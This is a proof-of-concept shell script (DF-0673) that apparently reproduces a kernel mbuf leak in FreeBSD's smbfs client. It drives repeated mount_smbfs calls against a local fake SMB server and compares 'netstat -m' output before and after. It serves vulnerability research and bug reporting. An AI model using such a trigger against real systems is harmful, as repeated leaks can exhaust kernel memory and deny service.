DF-0673 / run_poc.sh
#!/bin/sh # DF-0673 trigger: run fake server, drive mount_smbfs, measure mbuf delta. # Run as root in guest. PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin set -u BASE=/root/poc/DF-0673 cd "$BASE" || exit 2 # ensure smbfs loaded kldload smbfs.ko 2>/dev/null || true kldstat | grep -q smbfs.ko || { echo "[!] smbfs.ko failed to load"; exit 2; } netstat -m > /tmp/df673_before.txt echo "[*] baseline mbstat:"; head -3 /tmp/df673_before.txt # start fake server pkill -f fake_smb_server 2>/dev/null || true sleep 0.2 ./fake_smb_server > /tmp/df673_srv.log 2>&1 & SRV=$! sleep 0.5 echo "[*] fake_smb_server pid=$SRV" # N mount attempts -- each calls nbssn_recv, may leak for i in $(seq 1 6); do echo "[*] mount attempt $i" mount_smbfs -N -I 127.0.0.1 //g@localhost/x /mnt 2>/dev/null umount /mnt 2>/dev/null || true sleep 0.3 done sleep 0.5 kill $SRV 2>/dev/null || true wait $SRV 2>/dev/null || true netstat -m > /tmp/df673_after.txt echo "--- BEFORE ---"; cat /tmp/df673_before.txt | head -3 echo "--- AFTER ---"; cat /tmp/df673_after.txt | head -3 echo "--- SERVER LOG ---"; cat /tmp/df673_srv.log echo done |